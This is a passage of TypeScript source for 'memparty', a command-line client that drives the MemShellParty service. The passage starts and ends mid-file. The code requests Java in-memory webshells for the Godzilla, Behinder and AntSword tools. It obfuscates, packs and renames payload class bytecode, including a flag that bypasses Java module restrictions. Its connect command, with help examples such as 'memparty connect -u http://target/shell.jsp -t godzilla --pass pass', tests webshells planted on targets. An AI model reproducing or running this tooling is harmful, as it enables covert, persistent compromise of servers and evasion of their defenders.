this.request<BytecodeTransformResponse>(\"POST\", \"/api/bytecode/transform\", {\n json: req,\n });\n }\n\n // ---------- transport ----------\n\n private async request<T>(\n method: string,\n path: string,\n opts: { json?: unknown; text?: string; raw?: boolean } = {},\n ): Promise<T> {\n const url = `${this.baseUrl}${path}`;\n const headers: Record<string, string> = {};\n let body: string | undefined;\n\n if (opts.json !== undefined) {\n headers[\"Content-Type\"] = \"application/json\";\n body = JSON.stringify(opts.json);\n } else if (opts.text !== undefined) {\n headers[\"Content-Type\"] = \"text/plain\";\n body = opts.text;\n }\n\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), this.timeoutMs);\n\n let response: Response;\n try {\n response = await this.fetchImpl(url, {\n method,\n headers,\n body,\n signal: controller.signal,\n });\n } catch (err) {\n if (err instanceof Error && err.name === \"AbortError\") {\n throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url);\n }\n throw new ApiError(\n `Failed to reach ${url}: ${(err as Error).message}`,\n 0,\n url,\n );\n } finally {\n clearTimeout(timer);\n }\n\n const rawText = await response.text();\n\n if (!response.ok) {\n let message = rawText || response.statusText;\n try {\n const parsed = JSON.parse(rawText) as ApiErrorResponse;\n if (parsed?.error) message = parsed.error;\n } catch {\n // body was not JSON — keep raw text\n }\n throw new ApiError(message, response.status, url);\n }\n\n if (opts.raw) {\n return rawText as unknown as T;\n }\n if (rawText === \"\") {\n return undefined as unknown as T;\n }\n return JSON.parse(rawText) as T;\n }\n}\n\nfunction toLegacyMemShellRequest(req: MemShellGenerateRequest): MemShellGenerateRequest {\n const { pass, key, paramName, template, ...common } = req.shellToolConfig;\n const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } =\n req.shellConfig;\n return {\n ...req,\n shellConfig: {\n ...shellConfig,\n probe: shellConfig.probe ? true : undefined,\n },\n shellToolConfig: {\n ...common,\n godzillaPass: req.shellConfig.shellTool.startsWith(\"Godzilla\") ? pass : undefined,\n godzillaKey: key,\n commandParamName: paramName,\n commandTemplate: template,\n behinderPass: req.shellConfig.shellTool === \"Behinder\" ? pass : undefined,\n antSwordPass: req.shellConfig.shellTool === \"AntSword\" ? pass : undefined,\n },\n };\n}\n","import { readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport const DEFAULT_API_URL = \"https://party.mem.mk\";\nexport const ENV_VAR = \"MEMPARTY_API_URL\";\n\nexport interface ResolveApiUrlInput {\n /** Value from the --api flag (highest priority). */\n flag?: string;\n /** Environment map (defaults to process.env). */\n env?: NodeJS.ProcessEnv;\n /** Home directory (defaults to os.homedir()). Injectable for tests. */\n home?: string;\n}\n\ninterface RcFile {\n apiUrl?: string;\n}\n\nfunction readRcFile(home: string): RcFile | undefined {\n const path = join(home, \".mempartyrc\");\n try {\n const raw = readFileSync(path, \"utf8\");\n return JSON.parse(raw) as RcFile;\n } catch {\n return undefined;\n }\n}\n\n/**\n * Resolve the API base URL by priority:\n * 1. --api flag\n * 2. MEMPARTY_API_URL env var\n * 3. ~/.mempartyrc { \"apiUrl\": \"...\" }\n * 4. default public site (https://party.mem.mk)\n */\nexport function resolveApiUrl(input: ResolveApiUrlInput = {}): string {\n const env = input.env ?? process.env;\n const home = input.home ?? homedir();\n\n const fromFlag = input.flag?.trim();\n if (fromFlag) return fromFlag;\n\n const fromEnv = env[ENV_VAR]?.trim();\n if (fromEnv) return fromEnv;\n\n const fromFile = readRcFile(home)?.apiUrl?.trim();\n if (fromFile) return fromFile;\n\n return DEFAULT_API_URL;\n}\n","import { MemPartyClient } from \"./api/client.js\";\nimport { resolveApiUrl } from \"./core/config.js\";\n\n/** Global options attached to every command via commander. */\nexport interface GlobalOptions {\n api?: string;\n timeout?: string;\n}\n\nexport function createClient(opts: GlobalOptions): MemPartyClient {\n const baseUrl = resolveApiUrl({ flag: opts.api });\n const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined;\n return new MemPartyClient({ baseUrl, timeoutMs });\n}\n\n/** Write a message to stderr. */\nexport function logError(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Write an informational message to stderr (keeps stdout clean for payloads). */\nexport function logInfo(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Report a fatal error; as JSON when --json is in argv, so agents can parse it. */\nexport function reportError(message: string, argv: string[]): void {\n if (argv.includes(\"--json\")) {\n process.stdout.write(`${JSON.stringify({ ok: false, error: message })}\\n`);\n } else {\n process.stderr.write(`Error: ${message}\\n`);\n }\n}\n","import type {\n RemoteSelectUiHint,\n ShellToolConfigObject,\n ShellToolConfigValue,\n ToolConfigDescriptor,\n ToolConfigParam,\n} from \"../api/types.js\";\n\nexport function toolConfigForTool(\n configs: ToolConfigDescriptor[],\n tool: string,\n): ToolConfigDescriptor | undefined {\n return configs.find((config) => config.tool === tool);\n}\n\nexport function parseShellToolConfig(\n assignments: string[] | undefined,\n params: ToolConfigParam[] | undefined,\n): Record<string, ShellToolConfigValue> {\n const result: Record<string, ShellToolConfigValue> = {};\n for (const assignment of assignments ?? []) {\n const separator = assignment.indexOf(\"=\");\n if (separator <= 0) {\n throw new Error(`Invalid --tool-option \"${assignment}\". Expected name=value.`);\n }\n const name = assignment.slice(0, separator).trim();\n const rawValue = assignment.slice(separator + 1);\n if (!name) throw new Error(`Invalid --tool-option \"${assignment}\". Expected name=value.`);\n const param = params?.find((candidate) => candidate.name === name);\n if (params !== undefined && param === undefined) {\n throw new Error(\n `Unknown shell tool option \"${name}\". Available options: ${params.map((item) => item.name).join(\", \") || \"(none)\"}.`,\n );\n }\n if (param?.type === \"object\") {\n result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);\n } else if (rawValue.startsWith(\"{\")) {\n result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);\n } else {\n result[name] = rawValue;\n }\n }\n return result;\n}\n\nexport function parseToolConfigFile(\n source: string,\n params: ToolConfigParam[] | undefined,\n): Record<string, ShellToolConfigValue> {\n const parsed = parseJsonObject(source, \"--tool-config\");\n const assignments = Object.entries(parsed).map(([name, value]) => {\n if (typeof value === \"string\") return `${name}=${value}`;\n return `${name}=${JSON.stringify(value)}`;\n });\n return parseShellToolConfig(assignments, params);\n}\n\nexport function validateRequiredRemoteOptions(\n config: Record<string, ShellToolConfigValue>,\n params: ToolConfigParam[] | undefined,\n): void {\n const missing = (params ?? [])\n .filter((param) => param.ui?.kind === \"remote-select\" && param.ui.required)\n .filter((param) => {\n const value = config[param.name];\n return value === undefined || (typeof value === \"string\" && value.trim() === \"\");\n })\n .map((param) => param.name);\n if (missing.length > 0) {\n throw new Error(\n `Missing required remote shell tool option(s): ${missing.join(\", \")}. ` +\n \"Provide them with --tool-option or --tool-config.\",\n );\n }\n}\n\nfunction parseJsonObject(source: string, label: string): ShellToolConfigObject {\n let parsed: unknown;\n try {\n parsed = JSON.parse(source);\n } catch (err) {\n throw new Error(`${label} must be valid JSON: ${(err as Error).message}`);\n }\n if (typeof parsed !== \"object\" || parsed === null || Array.isArray(parsed)) {\n throw new Error(`${label} must be a JSON object.`);\n }\n return parsed as ShellToolConfigObject;\n}\n\nexport interface RemoteOption {\n label: string;\n value: ShellToolConfigValue;\n}\n\nexport function readRemotePath(value: unknown, path: string): unknown {\n if (!path) return value;\n let current = value;\n for (const segment of path.split(\".\")) {\n if (\n !segment ||\n typeof current !== \"object\" ||\n current === null ||\n Array.isArray(current) ||\n !(segment in current)\n ) {\n return undefined;\n }\n current = (current as Record<string, unknown>)[segment];\n }\n return current;\n}\n\nexport function normalizeRemoteOptions(\n payload: unknown,\n hint: RemoteSelectUiHint,\n objectMode: boolean,\n): RemoteOption[] {\n const items = readRemotePath(payload, hint.itemsPath);\n if (!Array.isArray(items)) {\n throw new Error(\"Remote options response does not contain an array at itemsPath.\");\n }\n return items.map((item) => {\n if (typeof item !== \"object\" || item === null || Array.isArray(item)) {\n throw new Error(\"Remote option items must be objects.\");\n }\n const rawLabel = readRemotePath(item, hint.labelPath);\n if (typeof rawLabel !== \"string\" && typeof rawLabel !== \"number\") {\n throw new Error(\"Remote option labels must be strings or numbers.\");\n }\n if (objectMode) return { label: String(rawLabel), value: item as ShellToolConfigObject };\n if (!hint.valuePath) throw new Error(\"String remote options require valuePath.\");\n const rawValue = readRemotePath(item, hint.valuePath);\n if (typeof rawValue !== \"string\" && typeof rawValue !== \"number\") {\n throw new Error(\"Remote option values must be strings or numbers.\");\n }\n return { label: String(rawLabel), value: String(rawValue) };\n });\n}\n\nexport function validateRemoteOptionsUrl(value: string): string {\n const url = new URL(value);\n if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n throw new Error(\"Remote options URL must use HTTP or HTTPS.\");\n }\n return url.toString();\n}\n\nexport async function fetchRemoteOptions(\n sourceUrl: string,\n hint: RemoteSelectUiHint,\n objectMode: boolean,\n fetchImpl: typeof fetch = globalThis.fetch,\n signal?: AbortSignal,\n): Promise<RemoteOption[]> {\n const url = validateRemoteOptionsUrl(sourceUrl);\n const response = await fetchImpl(url, {\n method: \"GET\",\n headers: { Accept: \"application/json\" },\n redirect: \"follow\",\n signal,\n });\n if (!response.ok) {\n throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);\n }\n let payload: unknown;\n try {\n payload = await response.json();\n } catch {\n throw new Error(\"Remote options response must be valid JSON.\");\n }\n return normalizeRemoteOptions(payload, hint, objectMode);\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\nimport { fetchRemoteOptions } from \"../core/shell-tool-config.js\";\n\ninterface ConfigCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\ninterface RemoteOptionsCmdOptions extends ConfigCmdOptions {\n url?: string;\n object?: boolean;\n}\n\nfunction printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void {\n if (json) {\n process.stdout.write(`${JSON.stringify(data, null, 2)}\\n`);\n } else {\n process.stdout.write(`${renderLines().join(\"\\n\")}\\n`);\n }\n}\n\nexport function registerConfigCommand(program: Command): void {\n const config = program\n .command(\"config\")\n .description(\"Query supported servers, shell tools, shell types, and packers\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty config servers # servers + their shell types (values for gen -s)\n $ memparty config tools Tomcat # tools available on one server (values for gen -t)\n $ memparty config packers # packer tree (values for gen -p)\n $ memparty config command # Command-tool encryptors and impl classes\n $ memparty config tool-configs # v3+ tool parameter names and enum values\n $ memparty config obfuscation # v3+ obfuscation option reference\n $ memparty config plugins # v3.1+ external plugin metadata and load status\n $ memparty config remote-options PluginTool target --url https://example.com/options\n`,\n );\n\n config\n .command(\"servers\")\n .description(\"List supported servers and their shell types\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const servers = await client.getServers();\n printJsonOrLines(servers, opts.json, () =>\n Object.entries(servers).map(([name, types]) => `${name}\\n ${types.join(\", \")}`),\n );\n });\n\n config\n .command(\"tools\")\n .description(\"List shell tools (and their shell types) per server\")\n .argument(\"[server]\", \"filter by a single server name\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const config = await client.getConfig();\n const filtered = server ? { [server]: config[server] ?? {} } : config;\n printJsonOrLines(filtered, opts.json, () =>\n Object.entries(filtered).flatMap(([name, tools]) => [\n name,\n ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(\", \")}`),\n ]),\n );\n });\n\n config\n .command(\"packers\")\n .description(\"List packers (parent / child tree)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const tree = await client.getPackerTree();\n printJsonOrLines(tree, opts.json, () =>\n tree.map((p) => (p.children.length ? `${p.name}\\n ${p.children.join(\", \")}` : p.name)),\n );\n });\n\n config\n .command(\"tool-configs\")\n .description(\"List shell tool parameters (empty for v2 backends)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const configs = await client.getShellToolConfigs();\n printJsonOrLines(configs, opts.json, () =>\n configs.length\n ? configs.flatMap((config) => [\n config.tool,\n ...config.params.map(\n (param) =>\n ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(\", \")}` : \"\"}${param.ui?.kind === \"remote-select\" ? ` [remote: ${param.ui.urlQueryParam}${param.ui.required ? \", required\" : \"\"}]` : \"\"}`,\n ),\n ])\n : [\"No v3 shell-tool config endpoint on this backend.\"],\n );\n });\n\n config\n .command(\"plugins\")\n .description(\"List external plugin metadata and load status (MemShellParty v3.1+)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const plugins = await client.getPlugins();\n printJsonOrLines(plugins, opts.json, () =>\n plugins.length\n ? plugins.flatMap((plugin) => [\n `${plugin.name}${plugin.version ? ` (${plugin.version})` : \"\"} [${plugin.loaded ? \"loaded\" : \"not loaded\"}]`,\n ` jar: ${plugin.jarFileName}`,\n ...(plugin.author ? [` author: ${plugin.author}`] : []),\n ...(plugin.description ? [` description: ${plugin.description}`] : []),\n ...(plugin.homepage ? [` homepage: ${plugin.homepage}`] : []),\n ...(plugin.license ? [` license: ${plugin.license}`] : []),\n ...(plugin.source ? [` source: ${plugin.source}`] : []),\n ...(plugin.spiServices.length ? [` SPI: ${plugin.spiServices.join(\", \")}`] : []),\n ...(plugin.loadError ? [` load error: ${plugin.loadError}`] : []),\n ])\n : [\"No external plugins (or the backend predates v3.1).\"],\n );\n });\n\n config\n .command(\"remote-options\")\n .description(\"Resolve a v3.1 remote-select field into string IDs or complete objects\")\n .argument(\"<tool>\", \"shell tool name\")\n .argument(\"<param>\", \"remote-select parameter name\")\n .option(\"--url <url>\", \"remote JSON endpoint (or set the field's urlQueryParam as an env var)\")\n .option(\"--object\", \"return complete objects instead of using the parameter's declared type\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (tool: string, paramName: string, opts: RemoteOptionsCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === tool);\n const param = descriptor?.params.find((candidate) => candidate.name === paramName);\n if (!param?.ui || param.ui.kind !== \"remote-select\") {\n throw new Error(`${tool}.${paramName} is not a remote-select shell tool option.`);\n }\n const sourceUrl = opts.url ?? process.env[param.ui.urlQueryParam];\n if (!sourceUrl) {\n throw new Error(`Provide --url or set the ${param.ui.urlQueryParam} environment variable.`);\n }\n const options = await fetchRemoteOptions(sourceUrl, param.ui, opts.object ?? param.type === \"object\");\n printJsonOrLines(options, opts.json, () => options.map((option, index) => {\n const value = typeof option.value === \"string\" ? option.value : JSON.stringify(option.value);\n return `${index}: ${option.label} => ${value}`;\n }));\n });\n\n config\n .command(\"obfuscation\")\n .description(\"List obfuscation options (MemShellParty v3+)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const options = await client.getObfuscationOptions();\n printJsonOrLines(options, opts.json, () =>\n options.map((option) =>\n Object.entries(option)\n .map(([key, value]) => `${key}=${JSON.stringify(value)}`)\n .join(\" \"),\n ),\n );\n });\n\n config\n .command(\"command\")\n .description(\"List Command-tool encryptors and implementation classes\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const cc = await client.getCommandConfigs();\n printJsonOrLines(cc, opts.json, () => [\n `encryptors: ${cc.encryptors.join(\", \")}`,\n `implementationClasses: ${cc.implementationClasses.join(\", \")}`,\n ]);\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport type { BytecodeTransformRequest } from \"../api/types.js\";\nimport { createClient, logInfo, type GlobalOptions } from \"../cli-context.js\";\nimport { emitPayload, emitSinglePackResult } from \"../core/output.js\";\nimport { parseObfuscationOptions } from \"../core/obfuscation.js\";\n\ninterface BytecodeInputOptions extends GlobalOptions {\n file?: string;\n json?: boolean;\n}\n\ninterface TransformOptions extends BytecodeInputOptions {\n packer?: string;\n bypassModule?: boolean;\n staticInitialize?: boolean;\n shrink?: boolean;\n renamePackage?: boolean;\n relocateFrom?: string;\n relocateTo?: string;\n entryMethod?: string;\n newClassName?: string;\n randomName?: boolean;\n obfuscate?: boolean;\n obfuscationOptions?: string;\n server?: string;\n probeMethod?: \"ResponseBody\" | \"ResponseHeader\";\n respHeaderName?: string;\n output?: string;\n}\n\nfunction classInput(base64: string | undefined, file: string | undefined): string {\n if (file !== undefined && base64 !== undefined) {\n throw new Error(\"Pass either a Base64 argument or --file, not both.\");\n }\n if (file !== undefined) return readFileSync(file).toString(\"base64\");\n if (base64 !== undefined) return base64;\n if (process.stdin.isTTY) {\n throw new Error(\"Provide Base64 as an argument, --file <path>, or Base64 on stdin.\");\n }\n return readFileSync(0, \"utf8\");\n}\n\nexport function buildBytecodeTransformRequest(base64: string, opts: TransformOptions): BytecodeTransformRequest {\n const renamePackage = opts.renamePackage || opts.relocateFrom !== undefined || opts.relocateTo !== undefined;\n if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {\n throw new Error(\"Package relocation requires both --relocate-from and --relocate-to.\");\n }\n const obfuscation = opts.obfuscate || opts.obfuscationOptions !== undefined\n ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) }\n : undefined;\n return {\n classBytesBase64: base64,\n ...(opts.packer === undefined ? {} : { packer: opts.packer }),\n ...(opts.bypassModule === undefined ? {} : { byPassJavaModule: opts.bypassModule }),\n ...(opts.staticInitialize === undefined ? {} : { staticInitialize: opts.staticInitialize }),\n ...(opts.shrink === undefined ? {} : { shrink: opts.shrink }),\n ...(renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {}),\n ...(opts.entryMethod === undefined ? {} : { entryMethod: opts.entryMethod }),\n ...(opts.newClassName === undefined ? {} : { newClassName: opts.newClassName }),\n ...(opts.randomName === undefined ? {} : { randomName: opts.randomName }),\n ...(obfuscation === undefined ? {} : { obfuscation }),\n ...(opts.probeMethod === undefined ? {} : {\n server: opts.server ?? \"Unknown\",\n probe: {\n probeMethod: opts.probeMethod,\n probeContent: \"Bytecode\",\n respHeaderName: opts.respHeaderName,\n },\n }),\n };\n}\n\nexport function registerBytecodeCommand(program: Command): void {\n const command = program.command(\"bytecode\").description(\"Decode and transform arbitrary Java classes (MemShellParty v3+)\");\n\n command\n .command(\"decode\")\n .description(\"Decode Base64/GzipBase64 class bytes and print class metadata\")\n .argument(\"[base64]\", \"Base64/GzipBase64 class bytes (omit when using --file or stdin)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk\")\n .option(\"--json\", \"print the full JSON response\")\n .addHelpText(\"after\", \"\\nExamples:\\n $ memparty bytecode decode -f Payload.class\\n $ cat Payload.class | memparty bytecode decode --json\\n\")\n .action(async (base64: string | undefined, opts: BytecodeInputOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const result = await client.decodeBytecode(classInput(base64, opts.file));\n if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}\\n`);\n else process.stdout.write(`${result.className} (${result.size} bytes)\\n${result.classBytesBase64Str}\\n`);\n });\n\n command\n .command(\"transform\")\n .description(\"Rename, relocate, instrument, obfuscate or pack a class\")\n .argument(\"[base64]\", \"Base64/GzipBase64 class bytes (omit when using --file or stdin)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. DefaultBase64, JSP\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--static-initialize\", \"call the no-argument constructor from a static initializer\")\n .option(\"--no-shrink\", \"keep bytecode debug information\")\n .option(\"--rename-package\", \"enable package relocation\")\n .option(\"--relocate-from <prefix>\", \"original package prefix, e.g. javax.servlet\")\n .option(\"--relocate-to <prefix>\", \"replacement package prefix, e.g. jakarta.servlet\")\n .option(\"--entry-method <signature>\", \"add an entry method, e.g. 'public static void main(String[] args)'\")\n .option(\"--new-class-name <name>\", \"new simple or fully-qualified class name\")\n .option(\"--random-name\", \"generate a random class and package name\")\n .option(\"--obfuscate\", \"enable class obfuscation\")\n .option(\"--obfuscation-options <options>\", \"obfuscation overrides: key=value, comma-separated\")\n .option(\"--server <server>\", \"response-wrapper server (default: Unknown)\")\n .addOption(new Option(\"--probe-method <method>\", \"embed a Bytecode response wrapper\").choices([\"ResponseBody\", \"ResponseHeader\"]))\n .option(\"--resp-header-name <name>\", \"ResponseHeader response header (random when omitted)\")\n .option(\"-o, --output <file>\", \"write the packed result, or the transformed class when no packer is given\")\n .option(\"--json\", \"print the full JSON response; outputFile is added when -o is used\")\n .addHelpText(\"after\", \"\\nExamples:\\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\\n\")\n .action(async (base64: string | undefined, opts: TransformOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);\n const result = await client.transformBytecode(request);\n const outputFile = opts.output === undefined\n ? undefined\n : result.packResult !== undefined\n ? emitSinglePackResult(result, { outFile: opts.output })\n : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(outputFile === undefined ? result : { ...result, outputFile }, null, 2)}\\n`);\n return;\n }\n logInfo(`class: ${result.className} (${result.size} bytes)`);\n if (outputFile !== undefined) {\n logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);\n } else if (result.packResult !== undefined) {\n emitSinglePackResult(result, {});\n } else {\n process.stdout.write(`${result.classBytesBase64Str}\\n`);\n }\n });\n}\n","import { writeFileSync } from \"node:fs\";\n\n/** File extensions whose payload is base64-encoded bytes and should be decoded. */\nconst BINARY_EXTENSIONS = [\".class\", \".jar\", \".zip\", \".ser\", \".bin\"];\n\nexport interface OutputOptions {\n /** Destination file path. When omitted, content goes to stdout. */\n outFile?: string;\n /** Force base64 decoding before writing (binary payload). */\n decode?: boolean;\n}\n\nexport interface OutputResult {\n /** Where the payload went: a file path, or \"stdout\". */\n destination: string;\n /** Number of bytes written (file) or characters printed (stdout). */\n size: number;\n /** Whether the payload was base64-decoded. */\n decoded: boolean;\n}\n\nfunction hasBinaryExtension(path: string): boolean {\n const lower = path.toLowerCase();\n return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));\n}\n\n/**\n * Decide whether a payload should be base64-decoded before writing.\n * Explicit `decode` wins; otherwise infer from the output file extension.\n */\nexport function shouldDecode(opts: OutputOptions): boolean {\n if (opts.decode !== undefined) return opts.decode;\n if (opts.outFile) return hasBinaryExtension(opts.outFile);\n return false;\n}\n\n/**\n * Emit a payload string either to a file or to stdout.\n * Uses injectable sinks so it can be unit-tested without touching the real fs/stdout.\n */\nexport function emitPayload(\n payload: string,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));\n const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));\n const decoded = shouldDecode(opts);\n\n if (opts.outFile) {\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeFile(opts.outFile, buf);\n return { destination: opts.outFile, size: buf.length, decoded: true };\n }\n writeFile(opts.outFile, payload);\n return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };\n }\n\n // stdout\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeStdout(buf.toString(\"binary\"));\n return { destination: \"stdout\", size: buf.length, decoded: true };\n }\n writeStdout(payload.endsWith(\"\\n\") ? payload : `${payload}\\n`);\n return { destination: \"stdout\", size: payload.length, decoded: false };\n}\n\n/** The subset of a generate response that carries the packed payload(s). */\nexport interface PackResultsShape {\n packResult?: string;\n allPackResults?: Record<string, string> | null;\n}\n\n/** True when the response holds several packer variants at once (aggregate packer). */\nexport function hasMultiplePackResults(r: PackResultsShape): boolean {\n return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;\n}\n\n/**\n * Write a generate response's payload to a file/stdout, requiring a single\n * packed result. Throws a clear error when an aggregate packer returned\n * several variants (there is no single file to write) or none at all.\n */\nexport function emitSinglePackResult(\n r: PackResultsShape,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n if (hasMultiplePackResults(r)) {\n const n = Object.keys(r.allPackResults!).length;\n throw new Error(\n `the aggregate packer returned ${n} variants at once — cannot write them to a single file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n if (r.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n return emitPayload(r.packResult, opts, sinks);\n}\n","export function parseObfuscationOptions(input?: string): Record<string, unknown> | undefined {\n if (input === undefined || input.trim() === \"\") return undefined;\n const options: Record<string, unknown> = {};\n for (const entry of input.split(/[,\\n]/)) {\n const separator = entry.indexOf(\"=\");\n const key = entry.slice(0, separator < 0 ? undefined : separator).trim();\n if (separator < 0 || key === \"\") {\n throw new Error(`Invalid obfuscation option \"${entry.trim()}\": expected key=value.`);\n }\n if (Object.hasOwn(options, key)) {\n throw new Error(`Duplicate obfuscation option \"${key}\".`);\n }\n const value = entry.slice(separator + 1).trim();\n if (value === \"true\" || value === \"false\") {\n options[key] = value === \"true\";\n } else if (/^-?(?:\\d+|\\d*\\.\\d+)$/.test(value)) {\n options[key] = Number(value);\n } else {\n options[key] = value;\n }\n }\n return options;\n}\n","import { Command, Option } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { protocolNames, requireProtocol, type ProtocolOptions } from \"../connect/registry.js\";\nimport type { CommonConnectOptions, ConnectTestResult } from \"../connect/types.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { autoSaveShell, resolveConnection } from \"../core/targets.js\";\n\ninterface ConnectCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n suo5Mode?: ProtocolOptions[\"suo5Mode\"];\n profile?: string;\n dynamicPath?: boolean;\n upgradeProtocol?: string;\n insecure?: boolean;\n json?: boolean;\n save?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerConnectCommand(program: Command): void {\n program\n .command(\"connect\")\n .description(\n \"Test whether a deployed webshell is alive and the credentials work\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames()))\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla/mimic key (default: key)\")\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .addOption(\n new Option(\"--suo5-mode <mode>\", \"suo5 protocol variant\")\n .choices([\"auto\", \"v2\", \"v1\"])\n .default(\"auto\"),\n )\n .option(\"--profile <name>\", \"mimic: site profile name (see 'memparty profile')\")\n .option(\"--dynamic-path\", \"mimic: randomize the request path from the site profile\")\n .option(\"--upgrade-protocol <className>\", \"godzilla Upgrade shell: fully-qualified generated shell class name\")\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful test\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value my-secret-token\n $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value my-secret-token\n $ memparty connect -u http://target/suo5.jsp -t suo5\n $ memparty connect -u http://target/ -t mimic --pass pass --key key \\\\\n --profile target-site --dynamic-path\n $ memparty connect web222 # saved target, see 'memparty list'\n $ memparty connect -u https://target/shell.jsp -t godzilla -k --json\n\nNote: shells generated by MemShellParty check a gate header — copy\nshellToolConfig.headerName/headerValue from the \\`gen --json\\` output\n(default header name is \"User-Agent\"), or the shell stays silent.\nA successful test auto-saves the profile as <host>/<tool> (skip with\n--no-save); afterwards just pass the name. See 'memparty list',\n'memparty note' and 'memparty remove' to manage saved targets.\n`,\n )\n .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n 